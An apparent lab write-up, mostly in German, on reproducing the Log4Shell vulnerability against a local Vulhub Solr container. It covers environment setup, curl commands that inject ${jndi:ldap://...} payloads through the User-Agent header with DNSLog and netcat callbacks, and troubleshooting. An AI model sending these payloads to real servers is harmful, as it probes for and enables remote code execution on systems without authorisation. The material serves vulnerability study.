Log4Shell-Vulnerability-Replication

cd D:\\SecWork

git clone https://gitee.com/hanxu2486/vulhub.git
2.2 Behebung von Problemen beim Docker-Image-Abruf im chinesischen Netzwerk
Konfigurieren Sie den dedizierten Alibaba-Cloud-Mirror-Beschleuniger (melden Sie sich beim Container-Image-Dienst an, um die persönliche Adresse zu erhalten):

Öffnen Sie Docker Desktop → Settings → Docker Engine

Ändern Sie registry-mirrors:

json
{
  "registry-mirrors": ["https://xxxxx.mirror.aliyuncs.com"]
}
Klicken Sie auf Apply & Restart

Falls weiterhin ein TLS handshake timeout auftritt, führen Sie in WSL sudo hwclock -s aus, um die Zeit zu synchronisieren.

2.3 Solr-Container starten
bash
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
docker-compose up -d
Die Ausgabe zeigt den Erfolg an:

text
✔ Image vulhub/solr:8.11.0    Pulled    117.7s
✔ Container cve-2021-44228-solr-1    Started
Wenn beim Aufrufen von http://localhost:8983/solr die Solr-Verwaltungsoberfläche erscheint, ist die Umgebung einsatzbereit.

3. Schritte zur Reproduktion der Schwachstelle
3.1 Test-Core erstellen
Solr hat standardmäßig keinen Core; dieser muss manuell erstellt werden:

bash
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
Es wird "status":0 zurückgegeben – der Core test wurde erfolgreich erstellt.

3.2 Erkennung der Schwachstelle mit DNSLog
Öffnen Sie den Browser, rufen Sie http://dnslog.cn auf und klicken Sie auf Get SubDomain, um eine temporäre Domain zu erhalten, z. B. abc123.dnslog.cn

Führen Sie in der Befehlszeile Folgendes aus (verwenden Sie curl.exe, um Alias-Konflikte mit PowerShell zu vermeiden):

bash
curl.exe -H 'User-Agent: ${jndi:ldap://abc123.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
Kehren Sie zur Seite http://dnslog.cn zurück und klicken Sie auf Refresh Record. Sofort erscheint ein DNS-Auflösungseintrag, was die Existenz der Schwachstelle beweist.

3.3 Verifizierung durch lokales Listening (vertiefte Verifizierung)
Starten Sie in WSL das Listening: nc -lvp 1389

Ermitteln Sie die IP des Host-Rechners (führen Sie in Windows PowerShell ipconfig aus und ermitteln Sie die IP der virtuellen WSL-Netzwerkkarte, z. B. 172.30.208.1)

Senden Sie eine bösartige Anfrage mit der lokalen IP:

bash
curl.exe -H 'User-Agent: ${jndi:ldap://172.30.208.1:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
Beobachten Sie das nc-Fenster, in dem die Verbindungsinformationen angezeigt werden:

text
connect to [172.30.208.1] from localhost [127.0.0.1] 54321
Dies beweist, dass Solr erfolgreich eine LDAP-Abfrage an die Angriffsmaschine gesendet hat – die Schwachstelle wurde erfolgreich reproduziert.

4. Kurzbeschreibung des Schwachstellenprinzips
Die von Apache Log4j2 bereitgestellte Funktion JndiLookup erlaubt die Verwendung von Platzhaltern im Format ${jndi:ldap://...} in Logmeldungen. Wenn eine Logmeldung aufgezeichnet wird, löst Log4j2 diesen Platzhalter auf und versucht, über JNDI auf einen entfernten LDAP-Server zuzugreifen. Angreifer können einen bösartigen LDAP-Server aufsetzen, der ein Java-Deserialisierungs-Payload zurückgibt, und so Remote-Code-Ausführung erreichen.

In dieser Reproduktion wurde der User-Agent-Header als bösartiges Payload gesetzt. Solr protokollierte diesen Header bei der Verarbeitung der Anfrage, löste eine JNDI-Abfrage aus und bestätigte damit die Existenz der Schwachstelle.

5. Zusammenfassung der Versuchsergebnisse
✅ Die Vulhub-Schwachstellenumgebung wurde erfolgreich aufgebaut und dabei verschiedene Probleme im chinesischen Netzwerk überwunden (DNS-Hijacking, Mirror-Beschleunigung, WSL-Zeitsynchronisierung usw.).

✅ Die Auslösung der Schwachstelle wurde eigenständig durchgeführt und die JNDI-Injection auf zwei Wegen verifiziert: über DNSLog und lokales Listening.

✅ Das Prinzip der Log4Shell-Schwachstelle sowie die Angriffskette der JNDI-Injection wurden eingehend verstanden.

✅ Praktische Erfahrungen mit Docker-Netzwerk-Fehlerbehebung, WSL2-Konfiguration und Git-Proxy-Bereinigung wurden gesammelt.

6. Zusammenfassung der Troubleshooting-Erfahrungen
Problem/Phänomen	Grundursache	Lösung
git clone 502 / Verbindungs-Timeout	DNS-Hijacking / Proxy-Störung	Gitee-Mirror verwenden, Git-Proxy entfernen, DNS-Cache leeren
Docker-Image-Pull 429	Rate-Limit der öffentlichen Image-Quelle	Dedizierten Alibaba-Cloud-Beschleuniger konfigurieren
TLS handshake timeout	WSL2-Zeit nicht synchronisiert	Zeit mit sudo hwclock -s synchronisieren
Schwachstelle wird nicht ausgelöst	Kein Core erstellt oder falsche Payload-Position	Core erstellen und User-Agent-Header verwenden
7. Vollständige Befehlsliste
bash
# 克隆 Vulhub（使用 Gitee 镜像）
git clone https://gitee.com/hanxu2486/vulhub.git

# 进入漏洞目录
cd D:\SecWork\vulhub\log4j\CVE-2021-44228

# 启动环境
docker-compose up -d

# 创建 Solr Core
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"

# DNSLog 验证
curl -H 'User-Agent: ${jndi:ldap://your.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'

# 本地监听验证（WSL 中运行 nc）
nc -lvp 1389
curl -H 'User-Agent: ${jndi:ldap://your.wsl.ip:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'

# 关闭环境
docker-compose down
8. Referenzlinks
Offizielles Vulhub-Projekt

Details zu CVE-2021-44228

DNSLog-Plattform

Erstellt am: Juni 2026
Autor: HanXu
Repository-URL: https://github.com/hmxh123/Log4Shell-Vulnerability-Replication